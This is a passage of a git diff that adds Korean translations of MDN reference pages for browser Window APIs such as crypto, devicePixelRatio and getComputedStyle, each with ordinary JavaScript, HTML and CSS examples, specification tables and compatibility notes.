+<p>{{domxref("Console")}} 문서의 <a href="/ko/docs/Web/API/Console#예제">예제</a> 항목에서 더 자세한 예제를 살펴보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>현재 브라우저간 구현에 많은 차이가 있지만, 하나로 통합하여 서로 보다 일관적으로 만드는 작업이 진행 중입니다.</p>
+</div>
diff --git a/files/ko/web/api/window/crypto/index.html b/files/ko/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..1b43534adc
--- /dev/null
+++ b/files/ko/web/api/window/crypto/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/crypto
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Window.crypto</code></strong>속성은 전역 객체인 {{domxref("Crypto")}} 객체를 반환합니다. <code>Crypto</code> 객체는 웹 페이지가 특정 암호학적 서비스에 접근할 수 있는 경로입니다.</span> <code>crypto</code> 속성 자체는 읽기 전용이지만, 모든 메서드(와 자식 객체 {{domxref("SubtleCrypto")}})의 메서드)는 읽기 전용이 아니므로 {{glossary("polyfill", "폴리필")}}을 통한 공격에 취약합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // for IE 11
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p id="Using_the_domxrefWindow.crypto_property_to_access_the_getRandomValues_method.">다음 예제는 {{domxref("Window.crypto")}} 속성을 통해 {{domxref("Crypto.getRandomValues", "getRandomValues()")}} 메서드에 접근합니다.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">genRandomNumbers = function getRandomNumbers() {
+  var array = new Uint32Array(10);
+  window.crypto.getRandomValues(array);
+
+  var randText = document.getElementById("myRandText");
+  randText.innerHTML = "The random numbers are: "
+  for (var i = 0; i &lt; array.length; i++) {
+    randText.innerHTML += array[i] + " ";
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="myRandText"&gt;The random numbers are: &lt;/p&gt;
+&lt;button type="button" onClick='genRandomNumbers()'&gt;Generate 10 random numbers&lt;/button&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.crypto")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Window")}} 전역 객체</li>
+ <li>{{domxref("Crypto")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/window/customelements/index.html b/files/ko/web/api/window/customelements/index.html
new file mode 100644
index 0000000000..591cd5bf65
--- /dev/null
+++ b/files/ko/web/api/window/customelements/index.html
@@ -0,0 +1,63 @@
+---
+title: Window.customElements
+slug: Web/API/Window/customElements
+tags:
+  - API
+  - Property
+  - Reference
+  - Web Components
+  - Window
+translation_of: Web/API/Window/customElements
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <strong><code>customElements</code></strong> 읽기 전용 속성은 새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소의 정보를 받아올 수 있는 {{domxref("CustomElementRegistry")}} 객체의 참조를 반환합니다.</span></p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p><code>customElements</code>를 사용하는 가장 흔한 예시는 새로운 요소를 정의하고 등록하기 위해 {{domxref("CustomElementRegistry.define()")}} 메서드에 적용하는 경우입니다.</p>
+
+<pre class="brush: js">let customElementRegistry = window.customElements;
+customElementRegistry.define('my-custom-element', MyCustomElement);</pre>
+
+<p>그러나, 보통은 다음 코드처럼 줄여서 사용하곤 합니다.</p>
+
+<pre class="brush: js">customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      const template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+    }
+  }
+);</pre>
+
+<p><a href="https://github.com/mdn/web-components-examples/">web-components-examples</a> 저장소에서 더 많은 사용 예제를 찾아보세요.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.customElements")}}</p>
+</div>
diff --git a/files/ko/web/api/window/devicepixelratio/index.html b/files/ko/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..361862dd9e
--- /dev/null
+++ b/files/ko/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,180 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Window
+translation_of: Web/API/Window/devicePixelRatio
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <strong><code>devicePixelRatio</code></strong> 읽기 전용 속성은 현재 표시 장치의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.</span> CSS 픽셀의 크기를 물리적 픽셀의 크기로 나눈 값으로 해석해도 됩니다. 또 다른 해석은, 하나의 CSS 픽셀을 그릴 때 사용해야 하는 장치 픽셀의 수라고 할 수 있습니다.</p>
+
+<p><code>devicePixelRatio</code> 속성은 HiDPI/Retina 디스플레이처럼 같은 객체를 그릴 때 더 많은 픽셀을 사용해 보다 선명한 이미지를 표현하는 화면과, 표준 디스플레이의 렌더링 차이에 대응할 때 유용합니다.</p>
+
+<p>{{domxref("window.matchMedia()")}}를 사용하면, 사용자가 창을 드래그 해 디스플레이의 픽셀 밀도가 바뀌는 등의 상황에서 <code>devicePixelRatio</code>가 바뀌는지 알아낼 수 있습니다. 아래의 예제를 참고하세요.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em><var>value</var></em> = window.devicePixelRatio
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Correcting_resolution_in_a_&lt;canvas>">Correcting resolution in a <code>&lt;canvas&gt;</code></h3>
+
+<p>A {{htmlelement("canvas")}} can appear too blurry on retina screens. Use <code>window.devicePixelRatio</code> to determine how much extra pixel density should be added to allow for a sharper image.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Set display size (css pixels).
+var size = 200;
+canvas.style.width = size + "px";
+canvas.style.height = size + "px";
+
+// Set actual size in memory (scaled to account for extra pixel density).
+var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas.
+canvas.width = size * scale;
+canvas.height = size * scale;
+
+// Normalize coordinate system to use css pixels.
+ctx.scale(scale, scale);
+
+ctx.fillStyle = "#bada55";
+ctx.fillRect(10, 10, 300, 300);
+ctx.fillStyle = "#ffffff";
+ctx.font = '18px Arial';
+ctx.textAlign = 'center';
+ctx.textBaseline = 'middle';
+
+var x = size / 2;
+var y = size / 2;
+
+var textString = "I love MDN";
+ctx.fillText(textString, x, y);</pre>
+
+<p><a href="https://mdn.mozillademos.org/files/15023/devicePixelRation%20Diff..png"><img alt="This image describe the impact of different value on retina display. " src="https://mdn.mozillademos.org/files/15023/devicePixelRation%20Diff..png" style="height: 57px; width: 600px;"></a></p>
+
+<h3 id="Monitoring_screen_resolution_or_zoom_level_changes">Monitoring screen resolution or zoom level changes</h3>
+
+<p>In this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of <code>devicePixelRatio</code> to handle any updates we need to.</p>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>The JavaScript code creates the media query that monitors the device resolution and checks the value of <code>devicePixelRatio</code> any time it changes.</p>
+
+<pre class="brush: js">let pixelRatioBox = document.querySelector(".pixel-ratio");
+let mqString = `(resolution: ${window.devicePixelRatio}dppx)`;
+
+const updatePixelRatio = () =&gt; {
+  let pr = window.devicePixelRatio;
+  let prString = (pr * 100).toFixed(0);
+  pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
+}
+
+updatePixelRatio();
+
+matchMedia(mqString).addListener(updatePixelRatio);</pre>
+
+<p>The string <code>mqString</code> is set up to be the media query itself. The media query, which begins as <code>(resolution: 1dppx)</code> (for standard displays) or <code>(resolution: 2dppx)</code> (for Retina/HiDPI displays), checks to see if the current display resolution matches a specific number of device dots per <code>px</code>.</p>
+
+<p>The <code>updatePixelRatio()</code> function fetches the current value of <code>devicePixelRatio</code>, then sets the {{domxref("HTMLElement.innerText", "innerText")}} of the element <code>pixelRatioBox</code> to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places.</p>
+
+<p>Then the <code>updatePixelRatio()</code> function is called once to display the starting value, after which the media query is created using {{domxref("Window.matchMedia", "matchMedia()")}} and {{domxref("EventTarget.addEventListener", "addEventListener()")}} is called to set up <code>updatePixelRatio()</code> as a handler for the <code>change</code> event.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML creates the boxes containing the instructions and the <code>pixel-ratio</code> box that will display the current pixel ratio information.</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="inner-container"&gt;
+    &lt;p&gt;This example demonstrates the effect of zooming the page in
+       and out (or moving it to a screen with a different scaling
+       factor) on the value of the property &lt;code&gt;Window.devicePixelRatio&lt;/code&gt;.
+       Try it and watch what happens!&lt;/p&gt;
+  &lt;/div&gt;
+    &lt;div class="pixel-ratio"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<details><summary>
+<h4 id="CSS">CSS</h4>
+</summary>
+
+<pre class="brush: css">body {
+  font: 22px arial, sans-serif;
+}
+
+.container {
+  top: 2em;
+  width: 22em;
+  height: 14em;
+  border: 2px solid #22d;
+  margin: 0 auto;
+  padding: 0;
+  background-color: #a9f;
+}
+
+.inner-container {
+  padding: 1em 2em;
+  text-align: justify;
+  text-justify: auto;
+}
+
+.pixel-ratio {
+  position: relative;
+  margin: auto;
+  height: 1.2em;
+  text-align: right;
+  bottom: 0;
+  right: 1em;
+  font-weight: bold;
+}</pre>
+</details>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Monitoring_screen_resolution_or_zoom_level_changes", "100%", 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.devicePixelRatio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></li>
+ <li><a href="/en-US/docs/Web/CSS/@media/resolution">CSS <code>resolution</code> media query</a></li>
+</ul>
diff --git a/files/ko/web/api/window/document/index.html b/files/ko/web/api/window/document/index.html
new file mode 100644
index 0000000000..1703ac8474
--- /dev/null
+++ b/files/ko/web/api/window/document/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>window.document</code></strong> 속성은 창이 포함한 <a href="/ko/docs/Web/API/Document">문서</a>의 참조를 반환합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">console.log(window.document.title);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.document")}}</p>
diff --git a/files/ko/web/api/window/event/index.html b/files/ko/web/api/window/event/index.html
new file mode 100644
index 0000000000..d358167e58
--- /dev/null
+++ b/files/ko/web/api/window/event/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.event
+slug: Web/API/Window/event
+tags:
+  - API
+  - DOM
+  - Event
+  - Property
+  - Read-only
+  - Reference
+  - Window
+  - 이벤트
+translation_of: Web/API/Window/event
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Window")}} 객체의 <strong><code>event</code></strong> 속성은 웹 사이트의 코드가 현재 처리 중인 {{domxref("Event")}}를 반환합니다. 이벤트 처리기 바깥에서는 항상 {{jsxref("undefined")}}입니다.</p>
+
+<p>신규 코드에서는 사용을 피하세요. 대신, 처리기가 매개변수로 받는 {{domxref("Event")}}를 사용해야 합니다. <code>event</code> 속성은 많이 지원되지도 않고, 지원하는 환경에서도 나중에 문제가 발생할 여지를 키웁니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>event</code> 속성이 반환하는 <code>Event</code>가 예상하는 값과 다른 경우가 많습니다. 게다가 {{Glossary("shadow tree", "섀도우 트리")}} 안에서 발생한 이벤트의 경우 정확하지 않습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#ref-for-dom-window-event", "Window.event")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Event.srcElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/frameelement/index.html b/files/ko/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..5652dac1f0
--- /dev/null
+++ b/files/ko/web/api/window/frameelement/index.html
@@ -0,0 +1,61 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+tags:
+  - API
+  - DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ApiRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Window.frameElement</strong></code> 속성은 {{HTMLElement("iframe")}}이나 {{HTMLElement("object")}}처럼 현재 창을 포함한 요소를 반환합니다.</span> 창이 다른 문서에 포함된 것이 아니거나, 문서의 출처가 다른 경우, 즉 창과 해당 문서의 도메인이 서로 다른 경우 {{jsxref("null")}}을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 속성 이름("frame")과는 달리, {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}}를 포함한 모든 포함 지점에서 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var frameEl = window.frameElement;
+// If we're embedded, change the containing element's URL to 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-frameelement', 'Window.frameElement')}}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.frameElement")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}}는 현재 창의 모든 자식 프레임을 배열형 객체로 나열합니다.</li>
+ <li>{{domxref("window.parent")}}는 부모 창, 즉 <code>frameElement</code>를 담고 있는 창을 반환합니다.</li>
+</ul>
diff --git a/files/ko/web/api/window/getcomputedstyle/index.html b/files/ko/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..928f2f4b47
--- /dev/null
+++ b/files/ko/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,137 @@
+---
+title: Window.getComputedStyle()
+slug: Web/API/Window/getComputedStyle
+tags:
+  - API
+  - CSSOM View
+  - Method
+  - Reference
+  - Window
+translation_of: Web/API/Window/getComputedStyle
+---
+<div>{{APIRef}}</div>
+
+<p class="summary"><span class="seoSummary"><code>Window.getComputedStyle()</code> 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다.  개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>style</em> = window.getComputedStyle(<em>element</em>[, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
+ <dt>element</dt>
+ <dd>속성값을 얻으려하는 {{domxref("Element")}}.</dd>
+ <dt>pseudoElt {{optional_inline}}</dt>
+ <dd>일치시킬 의사요소(<code>pseudo element</code>)를 지정하는 문자열. 보통의 요소들에 대해서는 생략되거나 <code>null</code>이어야 함.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="ko"><span>Gecko 2.0 </span></span>{{geckoRelease("2.0")}} <span lang="ko"><span>이전에는 pseudoElt 매개 변수가 필요했습니다.</span> <span>다른 주요 브라우저에서는 pseudoElt 매개변수의 값이 null 인 경우에는 생략해도 됩니다.</span> <span>Gecko는 다른 브라우저의 동작과 일치하도록 변경되었습니다.</span></span></div>
+
+<p><span id="result_box" lang="ko"><span>반환되는</span> </span><code>style</code><span lang="ko"><span>은 요소의 스타일이 변경 될 때 자동으로 업데이트되는 실시간 {{domxref ( "CSSStyleDeclaration")}} 객체입니다.</span></span></p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서는 간단한 {{htmlelement("div")}} 요소에 CSS스타일을 적용하고, <code>getComputedStyle()</code>를 사용해서 적용된 스타일값을 찾아낸 후에 <code>&lt;div&gt;</code>의 본문으로 출력합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;Hello&lt;/p&gt;</pre>
+
+<pre class="brush: css">p {
+  width: 400px;
+  margin: 0 auto;
+  padding: 20px;
+  line-height: 2;
+  font-size: 2rem;
+  font-family: sans-serif;
+  background: purple;
+  color: white;
+  text-align: center;
+}</pre>
+
+<pre class="brush: js">let para = document.querySelector('p');
+let compStyles = window.getComputedStyle(para);
+para.textContent = 'My computed font-size is ' + compStyles.getPropertyValue('font-size') + ',\nand my computed line-height is ' + compStyles.getPropertyValue('line-height') + '.';</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '100%', '240px')}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>메소드의 호출에서 반환되는 객체의 자료형은 요소의 {{domxref("HTMLElement.style", "style")}} 속성에서 반환되는 객체와 동일한 {{domxref("CSSStyleDeclaration")}}형입니다. 그러나 두 객체는 다른 목적을 가지고 있습니다. <code>getComputedStyle</code>에서 반환된 객체는 읽기 전용이며 요소의 (&lt;style&gt; 또는 외부 stylesheet로 설정되는 것도 포함해서) 스타일을 검사하는 데 사용할 수 있습니다. <code><em>elt</em>.style </code>객체는 특정한 요소에 스타일을 설정하는 데 사용해야 합니다.</p>
+
+<p>첫 번째 인수는 요소여야합니다. #text 노드같은 비-요소 노드를 전달하면 오류가 발생합니다. Gecko 1.9.2 {{geckoRelease("1.9.2")}}부터는, 반환되는 URL 값에는 <code>url("http://foo.com/bar.jpg")</code>과 같이 URL 문자열 주위에 따옴표가 있습니다.</p>
+
+<h2 id="defaultView"><code>defaultView</code></h2>
+
+<p>온라인의 많은 코드 샘플중에서, <code>getComputedStyle</code>은 <code>document.defaultView</code>객체에서 사용됩니다만, 대개의 경우에는 <code>getComputedStyle</code>은 <code>window</code>객체에도 존재하므로 <code>document.defaultView</code>객체에서 사용하는 패턴은 필요하지 않습니다. <code>defaultView</code>패턴은 (1) window 스펙을 작성하고 싶지 않은 사람들과 (2) Java에서도 사용할 수있는 API를 만드는 것의 조합이었을 가능성이 큽니다. 그러나 <code>defaultView</code>의 메소드를 사용해야만하는 <a href="https://github.com/jquery/jquery/pull/524#issuecomment-2241183" title="https://github.com/jquery/jquery/pull/524#issuecomment-2241183">경우</a>가 하나 있습니다. Firefox 3.6을 사용하여 프레임 스타일(framed styles)에 액세스하는 경우입니다.</p>
+
+<h2 id="의사요소_사용하기">의사요소 사용하기</h2>
+
+<p>getComputedStyle은 의사요소(pseudo-elements, <code>::after</code>, <code>::before</code>, <code>::marker</code>, <code>::line-marker</code>, <a href="http://dev.w3.org/csswg/css3-content/#pseudo-elements">spec</a>참고)에서 스타일 정보를 가져올 수 있습니다.</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3::after {
+   content: ' rocks!';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;generated content&lt;/h3&gt;
+
+&lt;script&gt;
+  var h3       = document.querySelector('h3');
+  var result   = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // returns ' rocks!'
+&lt;/script&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>반환되는 {{domxref("CSSStyleDeclaration")}} 객체에는 지원되는 모든 CSS의 본디속성(longhand)명에 대한 활성값을 갖게 됩니다. 예로, 본디속성명 <code>border-bottom-width</code>의 경우를 보면, <code>border-width</code>와 <code>border</code>같은 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Shorthand_properties">단축속성명</a>이 사용됩니다. <code>font-size</code>과 같은 본디속성명만을 사용하여 속성값을 질의하는 것이 안전합니다. <code>font</code>같은 단축속성명을 사용하여 질의하는 것은 대부분의 브라우저에서 동작하지 않을 것입니다.</p>
+
+<p>CSS속성 값은 <code>getPropertyValue(propName)</code> API를 사용하거나,  <code>cs[' z-index']</code> 또는 <code>cs.zIndex</code> 같은 방식으로 객체에 직접 인덱싱하여 액세스할 수 있습니다.</p>
+
+<p><code>getComputedStyle</code>에서 반환되는 값들은 {{cssxref("resolved_value", "resolved values")}}라고 합니다. 이 값들은 일반적으로 CSS 2.1 {{cssxref("computed_value","computed values")}}과 같지만, 일부 오래된 속성(<code>width</code>, <code>height</code> 또는 <code>padding</code>)에 대해서는 {{cssxref("used_value","used values")}}입니다. 원래, CSS 2.0에서는 이 computed values를 cascading과 inheritance 후에 "사용준비완료"된 최종값을 의미했습니다. 하지만, CSS 2.1에서는 computed values를 pre-layout으로, used values들은 post-layout으로 재정의했습니다. CSS 2.0 속성들에 대해서는 <code>getComputedStyle</code>은 지금은 <strong>used values</strong>라고 불리는 옛 의미의 computed values를 반환합니다. pre-layout과 post-layout값의 차이를 나타내는 예로서 요소의 width 또는 height(layout이라고도 함)를 나타내는 백분율(퍼센트표시)이 이 있는데, 이 값들은 used value의 경우에만 픽셀(에 상당하는 대체물)로 대체됩니다.</p>
+
+<p>몇 몇 알려진 경우에 대해, 반환값은 의도적으로 부정확한 값을 가집니다. 특히, 소위 CSS History Leak 보안 문제를 피하기 위해 브라우저는 링크에 대해서는 명시적으로 used value에 대해 "거짓말"을 하는데, 사용자가 링크된 사이트를 한번도 방문한 적이 없는 것 처럼 값을 반환합니다. 이것이 어떻게 구현되는 지에 대한 자세한 내용은 <a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a>와 <a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a>를 보십시오. 대부분의 최신 브라우저는 의사 선택기 스타일 응용과 <code>getComputedStyle</code>의 반환값에 대해서 유사한 변경 사항을 적용했습니다.</p>
+
+<p>CSS전이 중에 <code>getComputedStyle</code>를 호출하면, Firefox에서는 원래속성값(Original property value)을 반환하지만, WebKit에서는 최종속성값(final property value)을 반환합니다.</p>
+
+<p>Firefox에서는 <code>auto</code>값을 가진 속성들이 <code>auto</code>값이 아니라 used value를 반환합니다. 그래서, <code>height:100px;</code>의 컨테이너 블록 안에 <code>height:30px;</code>의 속성을 가진 요소를 넣고 <code>top:auto;</code>와 <code>bottom:0;</code>를 적용하면, <code>top</code>에 대한 computed style값을 요구할때 Firefox는 <code>100px-30px=70px</code>의 결과로서 <code>top:70px</code>를 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM", "#dom-window-getcomputedstyle", "getComputedStyle()")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "#CSS-CSSview-getComputedStyle", "getComputedStyle()")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.getComputedStyle")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/getselection/index.html b/files/ko/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c51281b307
--- /dev/null
+++ b/files/ko/web/api/window/getselection/index.html
@@ -0,0 +1,129 @@
+---
+title: Window.getSelection()
+slug: Web/API/Window/getSelection
+translation_of: Web/API/Window/getSelection
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>사용자 또는 Caret의 위치에 따라 선택된 텍스트의 범위를 나타내는 {{domxref("Selection")}} 객체를 반환한다. </p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>selection</em> = <em>window</em>.getSelection();</pre>
+
+<ul>
+ <li>selection은 {{domxref("Selection")}} 객체입니다. 빈 문자열("")을 추가하거나 {{domxref("Selection.toString()")}}을 호출하면 선택된 text를 반환합니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // do stuff with the range
+}</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<h3 id="Selection_객체의_문자열_표현">Selection 객체의 문자열 표현</h3>
+
+<p>JavaScript에서 문자열을 인자로 받는 함수({{ Domxref("window.alert()") }} 나 {{ Domxref("document.write()") }} 같은)에 객체를 전달하면 해당 객체의 {{jsxref("Object.toString", "toString()")}} 메소드를 호출하고 그 결과를 호출한 함수로 전달합니다. 이를 통해서 실제로는 속성과 메소드를 갖는 문자열이 아닌 일반적인 객체라 하더라도 문자열을 인자로 받는 함수의 인자로 사용할 때에는 객체를 문자열인 것처럼 전달할 수 있습니다.</p>
+
